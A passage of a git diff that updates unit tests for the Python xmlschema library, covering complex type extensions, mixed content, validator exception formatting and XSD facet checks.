self.assertTrue(schema.elements['root'].type.mixed) + self.assertTrue(schema.is_valid(xml_file)) + + xsd_file = self.casepath('issues/issue_414/issue_414b.xsd') + schema = self.schema_class(xsd_file) + self.assertTrue(schema.types['mixedElement'].mixed) + self.assertTrue(schema.elements['root'].type.mixed) + self.assertTrue(schema.is_valid(xml_file)) + + xsd_file = self.casepath('issues/issue_414/issue_414ne.xsd') + schema = self.schema_class(xsd_file) + self.assertTrue(schema.types['mixedElement'].mixed) + self.assertTrue(schema.elements['root'].type.mixed) + + xsd_file = self.casepath('issues/issue_414/issue_414ne-inv1.xsd') + with self.assertRaises(XMLSchemaParseError) as ctx: + self.schema_class(xsd_file) + + reason = ("base has a different content type (mixed=True) " + "and the extension group is not empty") + self.assertIn(reason, str(ctx.exception)) + + xsd_file = self.casepath('issues/issue_414/issue_414ne-inv2.xsd') + with self.assertRaises(XMLSchemaParseError) as ctx: + self.schema_class(xsd_file) + + self.assertIn(reason, str(ctx.exception)) + + def test_empty_content_extension(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:complexType name="baseType" mixed="false"> + </xs:complexType> + <xs:complexType name="derivedType" mixed="true"> + <xs:complexContent> + <xs:extension base="baseType"/> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + self.assertFalse(schema.types['baseType'].mixed) + self.assertEqual(schema.types['baseType'].content_type_label, 'empty') + self.assertTrue(schema.types['derivedType'].mixed) + self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') + + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:complexType name="baseType" mixed="false"> + </xs:complexType> + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:extension base="baseType"/> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + self.assertFalse(schema.types['baseType'].mixed) + self.assertEqual(schema.types['baseType'].content_type_label, 'empty') + self.assertFalse(schema.types['derivedType'].mixed) + self.assertEqual(schema.types['derivedType'].content_type_label, 'empty') + + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:complexType name="baseType" mixed="false"> + </xs:complexType> + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:extension base="baseType"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + self.assertFalse(schema.types['baseType'].mixed) + self.assertEqual(schema.types['baseType'].content_type_label, 'empty') + self.assertFalse(schema.types['derivedType'].mixed) + self.assertEqual(schema.types['derivedType'].content_type_label, 'element-only') + + def test_element_only_content_extension(self): + + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:complexType name="baseType" mixed="false"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:complexType> + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:extension base="baseType"/> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + self.assertFalse(schema.types['baseType'].mixed) + self.assertEqual(schema.types['baseType'].content_type_label, 'element-only') + self.assertFalse(schema.types['derivedType'].mixed) + self.assertEqual(schema.types['derivedType'].content_type_label, 'element-only') + + with self.assertRaises(XMLSchemaParseError): + self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <!-- Invalid schema: the derived type adds mixed content --> + <xs:complexType name="baseType"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:complexType> + <xs:complexType name="derivedType" mixed="true"> + <xs:complexContent> + <xs:extension base="baseType"> + <xs:sequence> + <xs:element name="elem2"/> + </xs:sequence> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + with self.assertRaises(XMLSchemaParseError): + self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <!-- Invalid schema: the derived type adds mixed content --> + <xs:complexType name="baseType"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:complexType> + <xs:complexType name="derivedType" mixed="true"> + <xs:complexContent> + <xs:extension base="baseType"/> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + def test_any_type_extension(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:extension base="xs:anyType"/> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + self.assertTrue(schema.types['derivedType'].mixed) + self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') + + xsd_source = dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:complexType name="derivedType"> + <xs:complexContent mixed="true"> + <xs:extension base="xs:anyType"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:schema>""") + + if self.schema_class.XSD_VERSION == '1.0': + with self.assertRaises(XMLSchemaModelError): + self.schema_class(xsd_source) + else: + schema = self.schema_class(xsd_source) + self.assertTrue(schema.types['derivedType'].mixed) + self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') + + with self.assertRaises(XMLSchemaParseError): + self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <!-- Invalid schema: derived type content is element-only --> + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:extension base="xs:anyType"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + def test_illegal_restriction__issue_425(self): + + schema_source = dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:element name="elem1"/> + <xs:element name="elem2"/> + <xs:element name="elem3"/> + <xs:element name="elem4" substitutionGroup="elem3"/> + <xs:attribute name="a" type="xs:string"/> + + <xs:complexType name="baseType"> + <xs:sequence> + <xs:element ref="elem1" minOccurs="0" maxOccurs="unbounded"/> + <xs:element ref="elem2" minOccurs="0"/> + <xs:element ref="elem3" maxOccurs="unbounded"/> + </xs:sequence> + <xs:attribute ref="a" use="required"/> + </xs:complexType> + + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:restriction base="baseType"> + <xs:sequence> + <xs:element ref="elem1" minOccurs="0" maxOccurs="unbounded"/> + <xs:element ref="elem4"/> + </xs:sequence> + <xs:attribute ref="a" use="required"/> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + </xs:schema>""") + + if self.schema_class.XSD_VERSION == '1.0': + with self.assertRaises(XMLSchemaParseError): + self.schema_class(schema_source) + else: + schema = self.schema_class(schema_source) + self.assertIsInstance(schema, XMLSchema11) + class TestXsd11ComplexType(TestXsdComplexType): @@ -474,11 +842,36 @@ def test_complex_type_assertion(self): </xs:complexType>""") xsd_type = schema.types['intRange'] - xsd_type.decode(etree_element('a', attrib={'min': '10', 'max': '19'})) - self.assertTrue(xsd_type.is_valid(etree_element('a', attrib={'min': '10', 'max': '19'}))) - self.assertTrue(xsd_type.is_valid(etree_element('a', attrib={'min': '19', 'max': '19'}))) - self.assertFalse(xsd_type.is_valid(etree_element('a', attrib={'min': '25', 'max': '19'}))) - self.assertTrue(xsd_type.is_valid(etree_element('a', attrib={'min': '25', 'max': '100'}))) + xsd_type.decode(Element('a', attrib={'min': '10', 'max': '19'})) + self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '10', 'max': '19'}))) + self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '19', 'max': '19'}))) + self.assertFalse(xsd_type.is_valid(Element('a', attrib={'min': '25', 'max': '19'}))) + self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '25', 'max': '100'}))) + + def test_rooted_expression_in_assertion__issue_386(self): + # absolute expression in assertion + xsd_file = self.casepath('issues/issue_386/issue_386.xsd') + + with warnings.catch_warnings(record=True) as ctx: + self.schema_class(xsd_file) + schema = self.schema_class(xsd_file) + + self.assertEqual(len(ctx), 2, "Expected two assert warnings") + self.assertIn("absolute location path", str(ctx[0].message)) + + xml_file = self.casepath('issues/issue_386/issue_386-1.xml') + self.assertFalse(schema.is_valid(xml_file)) + xml_file = self.casepath('issues/issue_386/issue_386-2.xml') + self.assertFalse(schema.is_valid(xml_file)) + + # relative path in assertion + xsd_file = self.casepath('issues/issue_386/issue_386-2.xsd') + schema = XMLSchema11(xsd_file) + + xml_file = self.casepath('issues/issue_386/issue_386-1.xml') + self.assertTrue(schema.is_valid(xml_file)) + xml_file = self.casepath('issues/issue_386/issue_386-2.xml') + self.assertFalse(schema.is_valid(xml_file)) def test_sequence_extension(self): schema = self.schema_class(""" diff --git a/tests/validators/test_elements.py b/tests/validators/test_elements.py index 221ee7d..6b94568 100644 --- a/tests/validators/test_elements.py +++ b/tests/validators/test_elements.py @@ -106,23 +106,6 @@ def test_value_constraint_property(self): self.assertEqual(model_group[1].value_constraint, 'alpha') self.assertEqual(model_group[2].value_constraint, 'beta') - def test_is_empty_attribute(self): - schema = self.check_schema(""" - <xs:element name="e1" type="xs:string"/> - <xs:element name="e2" type="xs:string" fixed=""/> - <xs:element name="e3" type="emptyString"/> - - <xs:simpleType name="emptyString"> - <xs:restriction base="xs:string"> - <xs:maxLength value="0"/> - </xs:restriction> - </xs:simpleType> - """) - - self.assertFalse(schema.elements['e1'].is_empty()) - self.assertTrue(schema.elements['e2'].is_empty()) - self.assertTrue(schema.elements['e3'].is_empty()) - class TestXsd11Elements(TestXsdElements): diff --git a/tests/validators/test_exceptions.py b/tests/validators/test_exceptions.py index 10bd41a..4677eec 100644 --- a/tests/validators/test_exceptions.py +++ b/tests/validators/test_exceptions.py @@ -11,6 +11,8 @@ import unittest import os import io +import pathlib +from xml.etree import ElementTree try: import lxml.etree as lxml_etree @@ -18,24 +20,27 @@ lxml_etree = None from xmlschema import XMLSchema, XMLResource -from xmlschema.etree import ElementTree +from xmlschema.helpers import is_etree_element from xmlschema.validators.exceptions import XMLSchemaValidatorError, \ - XMLSchemaNotBuiltError, XMLSchemaModelDepthError, XMLSchemaValidationError, \ + XMLSchemaNotBuiltError, XMLSchemaParseError, XMLSchemaModelDepthError, \ + XMLSchemaValidationError, XMLSchemaDecodeError, XMLSchemaEncodeError, \ XMLSchemaChildrenValidationError -CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') +CASES_DIR = pathlib.Path(__file__).parent.joinpath('../test_cases') class TestValidatorExceptions(unittest.TestCase): - def test_exception_init(self): - xs = XMLSchema(os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd')) + @classmethod + def setUpClass(cls): + cls.schema = XMLSchema(CASES_DIR.joinpath('examples/vehicles/vehicles.xsd')) + def test_exception_init(self): with self.assertRaises(ValueError) as ctx: - XMLSchemaValidatorError(xs, 'unknown error', elem='wrong') + XMLSchemaValidatorError(self.schema, 'unknown error', elem='wrong') self.assertIn("'elem' attribute requires an Element", str(ctx.exception)) - error = XMLSchemaNotBuiltError(xs, 'schema not built!') + error = XMLSchemaNotBuiltError(self.schema, 'schema not built!') self.assertEqual(error.message, 'schema not built!') schema = XMLSchema(""" @@ -50,12 +55,13 @@ def test_exception_init(self): error = XMLSchemaModelDepthError(schema.groups['group1']) self.assertEqual("maximum model recursion depth exceeded", error.message[:38]) - def test_exception_repr(self): - xs = XMLSchema(os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd')) + def test_validator_error_repr(self): + xs = self.schema error = XMLSchemaValidatorError(xs, 'unknown error') - self.assertEqual(str(error), 'unknown error') - self.assertEqual(error.msg, 'unknown error') + chunks = str(error).split('\n') + self.assertEqual('unknown error:', chunks[0].strip()) + self.assertEqual(error.get_elem_as_string(indent=' '), ' None') error = XMLSchemaValidatorError(xs, 'unknown error', elem=xs.root) output = str(error) @@ -63,9 +69,60 @@ def test_exception_repr(self): self.assertGreater(len(lines), 10, msg=output) self.assertEqual(lines[0], 'unknown error:', msg=output) - self.assertEqual(lines[2], 'Schema:', msg=output) + self.assertEqual(lines[2], 'Schema component:', msg=output) self.assertRegex(lines[4].strip(), '^<(xs:)?schema ', msg=output) - self.assertRegex(lines[-2].strip(), '</(xs:|xsd:)?schema>$', msg=output) + self.assertRegex(lines[-4].strip(), '</(xs:|xsd:)?schema>$', msg=output) + + error = XMLSchemaValidatorError( + validator=xs.elements['vehicles'], + message='test error message #1', + elem=xs.source.root[1], + source=xs.source, + namespaces=xs.namespaces, + ) + chunks = str(error).split('\n') + self.assertEqual('test error message #1:', chunks[0].strip()) + self.assertEqual('Schema component:', chunks[2].strip()) + self.assertEqual('Path: /xs:schema/xs:include[2]', chunks[6].strip()) + self.assertEqual('Schema URL: ' + xs.url, chunks[8].strip()) + + self.assertTrue(error.get_elem_as_string().startswith('<xs:include')) + + error = XMLSchemaValidatorError( + validator=xs.elements['cars'], + message='test error message #2', + elem=xs.source.root[1], + source=xs.source, + namespaces=xs.namespaces, + ) + chunks = str(error).split('\n') + self.assertEqual('test error message #2:', chunks[0].strip()) + self.assertEqual('Schema component:', chunks[2].strip()) + self.assertEqual('Path: /xs:schema/xs:include[2]', chunks[6].strip()) + self.assertNotEqual('Schema URL: ' + xs.url, chunks[8].strip()) + self.assertTrue(chunks[8].strip().endswith('cars.xsd')) + self.assertEqual('Origin URL: ' + xs.url, chunks[10].strip()) + + def test_validator_error_repr_no_urls(self): + schema = XMLSchema(""" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root" type="xs:integer"/> + </xs:schema>""") + + error = XMLSchemaValidatorError(validator=schema, message='test error message #3') + self.assertEqual(str(error), "test error message #3") + self.assertIsNone(error.schema_url) + self.assertIsNone(error.origin_url) + self.assertEqual(str(error), error.msg) + + def test_parse_error(self): + xs = self.schema + + error = XMLSchemaParseError(xs, "test parse error message #1") + self.assertTrue(str(error).startswith('test parse error message #1:')) + + error = XMLSchemaParseError(xs.elements['vehicles'], "test parse error message #2") + self.assertNotEqual(str(error), 'test parse error message #2') @unittest.skipIf(lxml_etree is None, 'lxml is not installed ...') def test_exception_repr_lxml(self): @@ -81,24 +138,65 @@ def test_exception_repr_lxml(self): lines = str(ctx.exception).split('\n') self.assertEqual(lines[0], "failed validating {'a': '10'} with XsdAttributeGroup():") - self.assertEqual(lines[2], "Reason: 'a' attribute not allowed for element.") - self.assertEqual(lines[8], "Instance (line 1):") - self.assertEqual(lines[12], "Path: /root") + self.assertEqual(lines[2], "Reason: 'a' attribute not allowed for element") + self.assertEqual(lines[10], "Instance (line 1):") + self.assertEqual(lines[14], "Path: /root") self.assertEqual(repr(ctx.exception), "XMLSchemaValidationError(reason=\"'a' " - "attribute not allowed for element.\")") + "attribute not allowed for element\")") error = XMLSchemaValidationError(schema.elements['root'], root) self.assertIsNone(error.reason) self.assertNotIn("Reason:", str(error)) - self.assertIn("Schema:", str(error)) + self.assertIn("Schema component:", str(error)) + self.assertEqual(error.get_obj_as_string(), '<root a="10"/>') error = XMLSchemaValidationError(schema, root) self.assertNotIn("Reason:", str(error)) - self.assertNotIn("Schema:", str(error)) + self.assertNotIn("Schema component:", str(error)) error = XMLSchemaValidationError(schema, 10) - self.assertEqual(str(error), "failed validating 10 with XMLSchema10(namespace='')") + lines = str(error).split('\n') + self.assertEqual(lines[0], "failed validating 10 with XMLSchema10(namespace=''):") + self.assertEqual(lines[2], "Instance type: <class 'int'>") + self.assertEqual(error.get_obj_as_string(), '10') + + error = XMLSchemaValidationError(schema, 'a' * 201) + lines = str(error).split('\n') + self.assertEqual(lines[0], "failed validating <class 'str'> instance " + "with XMLSchema10(namespace=''):") + self.assertEqual(lines[2], "Instance type: <class 'str'>") + self.assertEqual(lines[6], ' ' + repr('a' * 201)) + + def test_get_obj_as_string(self): + schema = XMLSchema(""" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root" type="xs:integer"/> + </xs:schema>""") + + error = XMLSchemaValidationError(schema, 'alpha\n') + self.assertEqual(error.get_obj_as_string(indent=' '), " 'alpha\\n'") + + error = XMLSchemaValidationError(schema, 'alpha\nalpha\n') + self.assertEqual(error.get_obj_as_string(indent=' '), " 'alpha\\nalpha\\n'") + + error = XMLSchemaValidationError(schema, 'alpha\n' * 2) + self.assertEqual(error.get_obj_as_string(' '), " 'alpha\\nalpha\\n'") + + error = XMLSchemaValidationError(schema, 'alpha\n' * 200) + obj_as_string = error.get_obj_as_string(' ') + self.assertTrue(obj_as_string.startswith(" ('alpha\\n'")) + self.assertEqual(len(obj_as_string.splitlines()), 200) + + obj_as_string = error.get_obj_as_string(max_lines=20) + self.assertTrue(obj_as_string.startswith("('alpha\\n'")) + self.assertTrue(obj_as_string.endswith("...\n...")) + self.assertEqual(len(obj_as_string.splitlines()), 20) + + obj_as_string = error.get_obj_as_string(indent=' ', max_lines=30) + self.assertTrue(obj_as_string.startswith(" ('alpha\\n'")) + self.assertTrue(obj_as_string.endswith(" ...\n ...")) + self.assertEqual(len(obj_as_string.splitlines()), 30) def test_setattr(self): schema = XMLSchema(""" @@ -145,10 +243,32 @@ def test_other_properties(self): raise XMLSchemaValidatorError(xs, 'unknown error') self.assertIsNone(ctx.exception.root) - self.assertIsNone(ctx.exception.schema_url) + self.assertIsNotNone(ctx.exception.schema_url) self.assertEqual(ctx.exception.origin_url, xs.source.url) self.assertIsNone(XMLSchemaValidatorError(None, 'unknown error').origin_url) + def test_decode_error(self): + error = XMLSchemaDecodeError( + validator=XMLSchema.meta_schema.types['int'], + obj='10.0', + decoder=int, + reason="invalid literal for int() with base 10: '10.0'", + ) + self.assertIs(error.decoder, int) + self.assertIn("Reason: invalid literal for int() with base 10: '10.0'", error.msg) + self.assertIn('Schema component:', error.msg) + + def test_encode_error(self): + error = XMLSchemaEncodeError( + validator=XMLSchema.meta_schema.types['string'], + obj=10, + encoder=str, + reason="10 is not an instance of <class 'str'>", + ) + self.assertIs(error.encoder, str) + self.assertIn('Reason: 10 is not an instance of', error.msg) + self.assertIn('Schema component:', error.msg) + def test_children_validation_error(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> @@ -224,6 +344,64 @@ def test_children_validation_error(self): lines = str(ctx.exception).split('\n') self.assertTrue(lines[2].endswith("Tag 'b2' expected.")) + def test_invalid_child_property(self): + schema = XMLSchema(""" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="a"> + <xs:complexType> + <xs:choice> + <xs:element name="b1" type="bType"/> + <xs:element name="b2" type="bType"/> + </xs:choice> + </xs:complexType> + </xs:element> + <xs:complexType name="bType"> + <xs:sequence> + <xs:element name="c1" type="xs:string"/> + <xs:element name="c2" type="xs:string"/> + </xs:sequence> + </xs:complexType> + </xs:schema>""") + + with self.assertRaises(XMLSchemaChildrenValidationError) as ctx: + schema.validate('<a><c1/></a>') + + lines = str(ctx.exception).split('\n') + self.assertTrue(lines[2].endswith("Tag ('b1' | 'b2') expected.")) + + invalid_child = ctx.exception.invalid_child + self.assertTrue(is_etree_element(invalid_child)) + self.assertEqual(invalid_child.tag, 'c1') + + xml_source = '<a><b1></b1><b2><c1/><c1/></b2></a>' + resource = XMLResource(xml_source, lazy=True) + errors = list(schema.iter_errors(resource)) + self.assertEqual(len(errors), 3) + self.assertIsNone(errors[0].invalid_child) + self.assertTrue(is_etree_element(errors[1].invalid_child)) + self.assertEqual(errors[1].invalid_child.tag, 'c1') + self.assertTrue(is_etree_element(errors[2].invalid_child)) + self.assertEqual(errors[2].invalid_child.tag, 'b2') + + def test_validation_error_logging(self): + schema = XMLSchema(""" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root" type="xs:integer"/> + </xs:schema>""") + + with self.assertLogs('xmlschema', level='DEBUG') as ctx: + with self.assertRaises(XMLSchemaValidationError): + schema.validate('<root/>') + self.assertEqual(len(ctx.output), 0) + + errors = list(schema.iter_errors('<root/>')) + self.assertEqual(len(errors), 1) + self.assertIsInstance(errors[0], XMLSchemaDecodeError) + + self.assertEqual(len(ctx.output), 1) + self.assertIn('Collect XMLSchemaDecodeError', ctx.output[0]) + self.assertIn('with traceback:', ctx.output[0]) + if __name__ == '__main__': import platform diff --git a/tests/validators/test_facets.py b/tests/validators/test_facets.py index 87099d2..f147acd 100644 --- a/tests/validators/test_facets.py +++ b/tests/validators/test_facets.py @@ -20,11 +20,14 @@ XSD_WHITE_SPACE, XSD_MIN_INCLUSIVE, XSD_MIN_EXCLUSIVE, XSD_MAX_INCLUSIVE, \ XSD_MAX_EXCLUSIVE, XSD_TOTAL_DIGITS, XSD_FRACTION_DIGITS, XSD_ENUMERATION, \ XSD_PATTERN, XSD_ASSERTION +from xmlschema.validators import XsdEnumerationFacets, XsdPatternFacets, XsdAssertionFacet class TestXsdFacets(unittest.TestCase): schema_class = XMLSchema10 + st_xsd_file: pathlib.Path + st_schema: XMLSchema10 @classmethod def setUpClass(cls): @@ -237,7 +240,7 @@ def test_min_length_facet_restriction(self): <xs:restriction base="string20"> <xs:minLength value="30"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) self.assertEqual(schema.types['string20'].get_facet(XSD_MIN_LENGTH).value, 20) @@ -255,7 +258,7 @@ def test_min_length_facet_restriction(self): <xs:restriction base="string40"> <xs:minLength value="30"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) def test_max_length_facet(self): @@ -298,7 +301,7 @@ def test_max_length_facet_restriction(self): <xs:restriction base="string30"> <xs:maxLength value="20"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) self.assertEqual(schema.types['string30'].get_facet(XSD_MAX_LENGTH).value, 30) @@ -316,7 +319,7 @@ def test_max_length_facet_restriction(self): <xs:restriction base="string30"> <xs:maxLength value="40"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) def test_min_inclusive_facet(self): @@ -363,10 +366,10 @@ def test_min_inclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:minInclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) - facet = schema.types['type1'].get_facet('{%s}%s' % (XSD_NAMESPACE, base_facet)) + facet = schema.types['type1'].get_facet(f'{{{XSD_NAMESPACE}}}{base_facet}') self.assertIsNone(facet(0)) facet2 = schema.types['type2'].get_facet(XSD_MIN_INCLUSIVE) self.assertIsNone(facet2(0)) @@ -385,7 +388,7 @@ def test_min_inclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:minInclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) for base_facet in ['maxInclusive', 'maxExclusive']: @@ -401,7 +404,7 @@ def test_min_inclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:minInclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) for base_facet in ['minExclusive', 'maxExclusive']: @@ -417,7 +420,7 @@ def test_min_inclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:minInclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) def test_min_exclusive_facet(self): @@ -463,10 +466,10 @@ def test_min_exclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:minExclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) - facet = schema.types['type1'].get_facet('{%s}%s' % (XSD_NAMESPACE, base_facet)) + facet = schema.types['type1'].get_facet(f'{{{XSD_NAMESPACE}}}{base_facet}') self.assertIsNone(facet(1)) facet2 = schema.types['type2'].get_facet(XSD_MIN_EXCLUSIVE) self.assertIsNone(facet2(1)) @@ -485,7 +488,7 @@ def test_min_exclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:minExclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) for base_facet in ['minInclusive', 'minExclusive']: @@ -501,7 +504,7 @@ def test_min_exclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:minExclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) for base_facet in ['maxInclusive', 'maxExclusive']: @@ -517,7 +520,7 @@ def test_min_exclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:minExclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) def test_max_inclusive_facet(self): @@ -536,7 +539,7 @@ def test_max_inclusive_facet(self): with self.assertRaises(XMLSchemaValidationError) as ec: facet(1) - self.assertIn('value has to be lesser or equal than 0', str(ec.exception)) + self.assertIn('value has to be less than or equal than 0', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError): facet('') @@ -564,10 +567,10 @@ def test_max_inclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:maxInclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) - facet = schema.types['type1'].get_facet('{%s}%s' % (XSD_NAMESPACE, base_facet)) + facet = schema.types['type1'].get_facet(f'{{{XSD_NAMESPACE}}}{base_facet}') self.assertIsNone(facet(0)) facet2 = schema.types['type2'].get_facet(XSD_MAX_INCLUSIVE) self.assertIsNone(facet2(0)) @@ -586,7 +589,7 @@ def test_max_inclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:maxInclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) for base_facet in ['minInclusive', 'minExclusive']: @@ -602,7 +605,7 @@ def test_max_inclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:maxInclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) for base_facet in ['minExclusive', 'maxExclusive']: @@ -618,7 +621,7 @@ def test_max_inclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:maxInclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) def test_max_exclusive_facet(self): @@ -664,10 +667,10 @@ def test_max_exclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:maxExclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) - facet = schema.types['type1'].get_facet('{%s}%s' % (XSD_NAMESPACE, base_facet)) + facet = schema.types['type1'].get_facet(f'{{{XSD_NAMESPACE}}}{base_facet}') self.assertIsNone(facet(-1)) facet2 = schema.types['type2'].get_facet(XSD_MAX_EXCLUSIVE) self.assertIsNone(facet2(-1)) @@ -686,7 +689,7 @@ def test_max_exclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:maxExclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) for base_facet in ['maxInclusive', 'maxExclusive']: @@ -702,7 +705,7 @@ def test_max_exclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:maxExclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) for base_facet in ['minInclusive', 'minExclusive']: @@ -718,7 +721,7 @@ def test_max_exclusive_facet_restriction(self): <xs:restriction base="type1"> <xs:maxExclusive value="0"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) def test_total_digits_facet(self): @@ -823,7 +826,7 @@ def test_fraction_digits_facet(self): </xs:simpleType> </xs:schema>""")) - self.assertIn("value has to be 0 for types derived from xs:integer", str(ec.exception)) + self.assertIn("value must be 0 for types derived from xs:integer", str(ec.exception)) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ @@ -902,6 +905,8 @@ def test_enumeration_facet(self): self.assertFalse(schema.types['enum2'].is_valid('four')) facet = schema.types['enum2'].get_facet(XSD_ENUMERATION) + self.assertIsInstance(facet, XsdEnumerationFacets) + elem = ElementTree.Element(XSD_ENUMERATION, value='three') facet.append(elem) self.assertTrue(schema.types['enum2'].is_valid('three')) @@ -1029,6 +1034,7 @@ def test_pattern_facet(self): </xs:schema>""")) facet = schema.types['pattern1'].get_facet(XSD_PATTERN) + self.assertIsInstance(facet, XsdPatternFacets) self.assertIsNone(facet('abc')) self.assertRaises(XMLSchemaValidationError, facet, '') self.assertRaises(XMLSchemaValidationError, facet, 'a;') @@ -1060,7 +1066,7 @@ def test_pattern_facet(self): <xs:restriction base="xs:string"> <xs:pattern value="]"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>"""), validation='lax') self.assertEqual(len(schema.all_errors), 2) @@ -1088,6 +1094,7 @@ def test_get_annotation__issue_255(self): </xs:schema>""")) facet = schema.types['enum1'].get_facet(XSD_ENUMERATION) + self.assertIsInstance(facet, XsdEnumerationFacets) self.assertEqual(facet.annotation.documentation[0].text, '1st facet') self.assertEqual(facet.get_annotation(0).documentation[0].text, '1st facet') self.assertIsNone(facet.get_annotation(1)) @@ -1111,6 +1118,7 @@ def test_get_annotation__issue_255(self): </xs:schema>""")) facet = schema.types['pattern1'].get_facet(XSD_PATTERN) + self.assertIsInstance(facet, XsdPatternFacets) self.assertIsNone(facet.get_annotation(0)) self.assertEqual(facet.get_annotation(1).documentation[0].text, '2nd facet') @@ -1130,11 +1138,47 @@ def test_fixed_value(self): <xs:restriction base="string30"> <xs:maxLength value="20"/> </xs:restriction> - </xs:simpleType> + </xs:simpleType> </xs:schema>""")) self.assertIn("'maxLength' facet value is fixed to 30", str(ec.exception)) + def test_restriction_on_list__issue_396(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="list_of_strings"> + <xs:simpleType> + <xs:restriction> + <xs:simpleType> + <xs:list> + <xs:simpleType> + <xs:restriction base="xs:string"> + <xs:minLength value="5"/> 